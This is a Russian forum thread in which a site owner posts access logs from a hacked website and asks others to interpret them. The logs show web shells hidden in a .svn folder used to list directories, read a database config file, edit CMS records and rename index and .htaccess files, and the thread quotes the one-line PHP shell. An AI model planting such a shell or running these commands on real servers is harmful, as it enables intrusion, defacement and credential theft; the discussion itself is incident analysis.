Взломали. Расшифровка логов

@Питер · Регистрация: 17.05.2012

Студворк — интернет-сервис помощи студентам

Пожалуйста, кто знает что означают логи.

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
81.30.162.38 - - [12/Jan/2012:10:46:21 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=default.css&version=3.3.3 HTTP/1.0" 200 2994 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:46:21 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=functions.js&version=3.3.3 HTTP/1.0" 200 19391 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:46:22 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=favicon.ico&version=3.3.3 HTTP/1.0" 200 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:47:44 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=la%20-la%20../../../../../ HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:46 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1360 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:54 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../../config HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:57 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../.. HTTP/1.0" 200 1033 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:10 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=cat%20../../../../../../configs/database.xml HTTP/1.0" 200 632 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:25 +0200] "POST /uploads/icons/.svn/tmp/text-base/svn.php HTTP/1.0" 302 - "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:25 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua HTTP/1.0" 200 6070 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:33 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09 HTTP/1.0" 200 111694 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:33 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&script=db HTTP/1.0" 200 22377 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=loader.gif&version=3.3.3 HTTP/1.0" 200 673 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&table=cms_components HTTP/1.0" 200 1992 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:36 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components HTTP/1.0" 200 23521 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&table=cms_components" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:43 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26 HTTP/1.0" 200 2629 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:46 +0200] "POST /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26 HTTP/1.0" 200 - "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:47 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components HTTP/1.0" 200 24088 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:50:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:52:00 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=touch%20../../../../../index.html HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:34 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:36 +0200] "GET / HTTP/1.0" 200 893 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:45 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1361 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:17 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../index.php%20../../../../../index_prod.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:23 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../index.html%20../../../../../index.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:24 +0200] "GET / HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:46 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1365 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"

Vovan-VE · 20.05.2012, 20:40

Сообщение от Питер

есть ли основания для претензии?

Претензии к разработчику за разработку бекдора.

@Питер · 20.05.2012, 20:57 **[ТС]**

А воспользовался он им как бы в шутку?

Потом еще 30 раз подряд пошутил...

Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля...

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

@Unick · 20.05.2012, 21:08

Сообщение от Питер

А воспользовался он им как бы в шутку?

ага в шутку

очень кстати смешная

Сообщение от Питер

Потом еще 30 раз подряд пошутил...

Петросян

Сообщение от Питер

Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля...

провайдер не причем
возможно хилая защита твоего сайта, а не пароля

Сообщение от Питер

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

с той информацией которую ты нам дал, мы не можем ответить четко на вопрос, а догадки... есть догадки, их много таки
тем более логи связаны с работой файла, а как он туда попал нету
я лишь могу сделать вывод, что твой сайт работает с файлами, либо я тебе уже говорил где сменить пароли!

Добавлено через 2 минуты
не ужели так сложно не игнорировать сообщения?

мб мы по делу всетаки пишем

Vovan-VE · 21.05.2012, 18:29

Сообщение от Питер

время создания файла не совпадает с запуском - позже он залит

Думаю, время можно подделать.

Сообщение от Питер

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

Представьте, что один суровый хирург, когда делал очередному пациенту пересадку мозга, внедрил в мозг модуль управления разумом. Его нельзя было внедрить случайно. Сам факт внедрения - это уже злодеЯние. А потом он еще воспользовался этим модулем и, управляя действиями пациента, начал ядерную войну. Взлом это или нет? Что здесь взлом? Чёрт его знает, но важно лишь то, что случайно всего этого произойти не могло совершенно точно.

@Питер · 21.05.2012, 19:51 **[ТС]**

Как в том анекдоте - жена и любовник разделись и занавесили занавески... А шо они там делают?

Перед тем как дать предъяву надо бы квалифицированно все обрисовать - по пунктикам. Дело деликатное... А то окажется, что это безобидный файлик, стремный но не критичный - там делалось с ним что то вполне нормальное...

Напомню код-

<?php
echo shell_exec($_GET['q']);

Что оно за шелл и как вяжется с обращением к этому файлу.

В логах - Команда ls выводит список всех файлов каталога - нашел в нете.
Команда mv - ... ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt

Толи переименовывание, толь перемещение. Ну и что такого особенного то?

Vovan-VE · 21.05.2012, 20:05

Сообщение от Питер

Ну и что такого особенного то?

Т.е. Вас не удивляет тот факт, что абсолютно любой сторонний юзер из любой точки интернета может обратиться к этому скрипту и попытаться выполнить обсолютно любую команду/программу на сервере (на сколько хватит привилегий у апача), в том числе создать любой файл в любой доступной для записи директории:?

Bash
1
echo 'тело'>file.ext

Добавлено через 1 минуту
Красная ковровая дорожка + "wellcome" в открытое деньгохранилище.

Новые блоги и статьи Все статьи Все блоги /
сукцессия 30. Фосфорный и азотный замки по "честному" закону лимитирования Либиха anaschu 16.07.2026 Основные достижения за последние дни 1. Механизм отложенного высвобождения фосфора Добавлен специальный пул для медленного разложения меланизированных гиф ЕСМ Реализована разная скорость. . .	Запрет пометки на удаление и отмены проведения Maks 16.07.2026 Алгоритм из решения ниже реализован на нетиповом документе "ПутевойЛист" разработанного в КА2. Задача: запретить помечать на удаление и отменять проведения путевого листа при условии, если он сдан. . .	Как надо было делать правильно - вообще не слушать ИИ, его дело - текст. Hrethgir 15.07.2026 А вообще надо было делать не так, чтобы не исправлять ошибку https:/ / www. cyberforum. ru/ blogs/ 223907/ 10996. html , правильно было : удалил кнопку, а потом добавил её. Всё это стресс конечно. Почему?. . .	Знаете, от чего появляется стресс? kumehtar 15.07.2026 Стресс появляется оттого, что вы, зная как поступить правильно, делаете наоборот. Ларри Уингет
Нас бьют, а мы крепчаем? Какая чушь! kumehtar 15.07.2026 Вот это вот бытующее мнение, что человек меняется только под действием проблем, всегда считал вредоносным. Поверь, от проблем у людей появляются не изменения, а нервное расстройство и ПТСР. А. . .	сукцессия 29. Переход от одних деревьев на другие делать более или менее вероятностным? anaschu 12.07.2026 Насколько смена типов микоризы — исключительное событие в двухвековой сукцессии? Оценка вероятности в пространстве параметров В текущей версии модели успешно реализован ключевой механизм. . .	сукцессия 27. Думаю, как переделывать уже написанную статью с планами на сукцессию. anaschu 12.07.2026 Анализ соответствия модели требованиям Реализованные компоненты: Механизм закисления почвы через протонную помпу Конкуренция между типами микориз pH как триггер сукцессии C/ P соотношение. . .	Сукцессия 26. Мат модель создана. anaschu 12.07.2026 Модель смены растительных сукцессий посредством управления грибами работает внутри небольшой ячейки почвы, восстанавливающейся после пожара, где ненадолго бывшее царство хвойных снова захватили. . .

@Питер 0 / 0 / 0 Регистрация: 17.05.2012 Сообщений: 12
	20.05.2012, 20:57 [ТС]
	А воспользовался он им как бы в шутку? Потом еще 30 раз подряд пошутил... Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля... Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой. 0

@Питер 0 / 0 / 0 Регистрация: 17.05.2012 Сообщений: 12
	21.05.2012, 19:51 [ТС]
	Как в том анекдоте - жена и любовник разделись и занавесили занавески... А шо они там делают? Перед тем как дать предъяву надо бы квалифицированно все обрисовать - по пунктикам. Дело деликатное... А то окажется, что это безобидный файлик, стремный но не критичный - там делалось с ним что то вполне нормальное... Напомню код- <?php echo shell_exec($_GET['q']); Что оно за шелл и как вяжется с обращением к этому файлу. В логах - Команда ls выводит список всех файлов каталога - нашел в нете. Команда mv - ... ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt Толи переименовывание, толь перемещение. Ну и что такого особенного то? 0